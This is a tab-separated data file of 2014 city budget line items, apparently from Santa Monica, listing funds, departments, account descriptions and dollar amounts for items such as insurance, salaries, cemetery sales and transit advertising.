7410	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577725.0	STEP UP SANCTUARY-CDBG	810.0	 Supplies and Expenses	2014	26282.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26282.0
7411	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	375.0
7412	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405351.0	PRIVATE HAULER ANN. PERMIT FEE	650.0	Charges for Service	2014	-26636.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-26636.0
7413	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522549.0	ADVERTISING PAYMENTS (CCB)		 Supplies and Expenses	2014	110250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	110250.0
7414	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EAP		Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
7415	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
7416	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	8576.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8576.0
7417	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-14441.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14441.0
7418	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1452.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1452.0
7419	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
7420	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	5405.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5405.0
7421	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DCAP	804.0	Salaries and Wages	2014	264.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	264.0
7422	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2014	2415.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2415.0
7423	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402790.0	VAULT SALES	650.0	Charges for Service	2014	-63776.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-63776.0
7424	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556130.0	SOLD CASKETS	808.0	 Supplies and Expenses	2014	52000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52000.0
7425	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556160.0	SOLD URNS	808.0	 Supplies and Expenses	2014	8713.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8713.0
7426	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	1493.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1493.0
7427	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2014	99145.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	99145.0
7428	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
7429	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2014	523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	523.0
7430	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	800.0
7431	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577540.0	FARMERS' MKT SPECIAL EVENTS		 Supplies and Expenses	2014	29623.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29623.0
7432	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	55666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	55666.0
7433	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533030.0	PROPERTY INSURANCE	804.0	 Supplies and Expenses	2014	862058.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	862058.0
7434	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400883.0	SPC HAP SU05	610.0	Intergovernmental	2014	-309861.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-309861.0
7435	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400925.0	SPC ADMIN NEW	610.0	Intergovernmental	2014	-34068.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-34068.0
7436	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7437	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FSS ADMIN	610.0	Intergovernmental	2014	-65286.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-65286.0
7438	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400394.0	HAP REVENUE - PORTS	610.0	Intergovernmental	2014	-300000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-300000.0
7439	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	176323.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	176323.0
7440	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7441	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
7442	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	18372.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18372.0
7443	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2014	722.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	722.0
7444	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-5878.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5878.0
7445	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-34919.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-34919.0
7446	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-231483.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-231483.0
7447	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544460.0	HOMELESS COUNT	810.0	 Supplies and Expenses	2014	4121.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4121.0
7448	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409023.0	ENRICHMENT-SPRING	612.0	Charges for Service	2014	-86408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-86408.0
7449	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2014	650000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	650000.0
7450	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402800.0	NAME PLATES / BENCHES	650.0	Charges for Service	2014	-16913.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16913.0
7451	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402820.0	FLOWER SALES	650.0	Charges for Service	2014	-16728.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16728.0
7452	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2014	614.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	614.0
7453	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2014	1659.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1659.0
7454	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	3894.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3894.0
7455	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	72000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72000.0
7456	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	38572.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38572.0
7457	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2014	9368.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9368.0
7458	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2014	1200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1200.0
7459	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533040.0	SPECIAL INSURANCE	810.0	 Supplies and Expenses	2014	2100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2100.0
7460	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	103825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103825.0
7461	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 PORT IN ADMIN	610.0	Intergovernmental	2014	-23000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-23000.0
7462	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	2623.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2623.0
7463	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
7464	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	316.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	316.0
7465	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	955.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	955.0
7466	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555920.0	SANTA MONICA SWIM CENTER	808.0	 Supplies and Expenses	2014	-30000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-30000.0
7467	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7468	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533221.0	BLDG/STR MAINT-COM FAC	808.0	 Supplies and Expenses	2014	93000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	93000.0
7469	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7470	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
7471	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544220.0	GRAFFITI PROGRAM MATERIALS	808.0	 Supplies and Expenses	2014	133100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	133100.0
7472	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-1708.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1708.0
7473	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-4325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4325.0
7474	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	391806.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	391806.0
7475	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	210196.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	210196.0
7476	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2014	14133.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14133.0
7477	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	206668.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	206668.0
7478	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	805.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	805.0
7479	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-185159.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-185159.0
7480	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	216043.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216043.0
7481	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-37705.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-37705.0
7482	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	7328.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7328.0
7483	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	3467.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3467.0
7484	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	43220.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43220.0
7485	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	5774.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5774.0
7486	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS	908.0	 Supplies and Expenses	2014	-65000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-65000.0
7487	BA	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-9000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9000.0
7488	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405680.0	EVENT ADMINISTRATION FEE	612.0	Charges for Service	2014	-15897.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-15897.0
7489	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562190.0	 CLARE CLARITY FOR YOUTH		 Supplies and Expenses	2014	41651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41651.0
7490	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562431.0	SHP-NEW DIRECTIONS	810.0	 Supplies and Expenses	2014	44605.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44605.0
7491	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562433.0	SHP-STEP UP	810.0	 Supplies and Expenses	2014	87765.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	87765.0
7492	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405352.0	PRIVATE HAULER PER TON PAYMENT	650.0	Charges for Service	2014	-121500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-121500.0
7493	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511749.0	VISION		Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
7494	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		UNEMPLOYMENT		Salaries and Wages	2014	1058.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1058.0
7495	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2014	615.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	615.0
7496	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	220604.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	220604.0
7497	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	130070.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	130070.0
7498	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	96927.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	96927.0
7499	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EAP	804.0	Salaries and Wages	2014	509.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	509.0
7500	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	5125.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5125.0
7501	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	513.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	513.0
7502	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522550.0	AD POSTINGS (CCB)		 Supplies and Expenses	2014	36000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36000.0
7503	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408290.0	FIRE SAFETY OFFICER ASSIGN FEE	612.0	Charges for Service	2014	-420000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-420000.0
7504	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	-8141.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8141.0
7505	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-1558.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1558.0
7506	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522990.0	STOCKROOM REPAIR PARTS & MATER	808.0	 Supplies and Expenses	2014	615000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	615000.0
7507	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY HALL	808.0	 Supplies and Expenses	2014	14050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14050.0
7508	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2014	-210000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-210000.0
7509	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	2798.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2798.0
7510	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403720.0	HUD SERIAL INEBRIATE GRANT	610.0	Intergovernmental	2014	-21672.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-21672.0
7511	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404211.0	OTHER OPER REV-OUTSIDE ADVERTI	650.0	Charges for Service	2014	-250000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-250000.0
7512	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	5228.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5228.0
7513	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	41177.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41177.0
7514	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DCAP		Salaries and Wages	2014	144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144.0
7515	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2014	410.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	410.0
7516	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	6500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6500.0
7517	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2014	308.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308.0
7518	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	3658.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3658.0
7519	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577240.0	SERVICE AGREEMENTS		 Supplies and Expenses	2014	259005.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	259005.0
7520	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	5125.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5125.0
7521	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
7522	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	19341.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19341.0
7523	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563129.0	SENIOR CENTER OPERATIONS		 Supplies and Expenses	2014	151500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	151500.0
7524	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	407780.0	FIBER OPTIC SERVICES	618.0	Rentals	2014	-1600000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1600000.0
7525	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567230.0	PFA 2011B (PSF)	910.0	 Supplies and Expenses	2014	1061450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1061450.0
7526	BA	IS	1	General Fund	310	FIRE	315	TRAINING	555215.0	OUTSIDE TRAINER PAYMENT	806.0	 Supplies and Expenses	2014	20910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20910.0
7527	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7528	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	50.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50.0
7529	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	8261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8261.0
7530	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7531	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	190342.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	190342.0
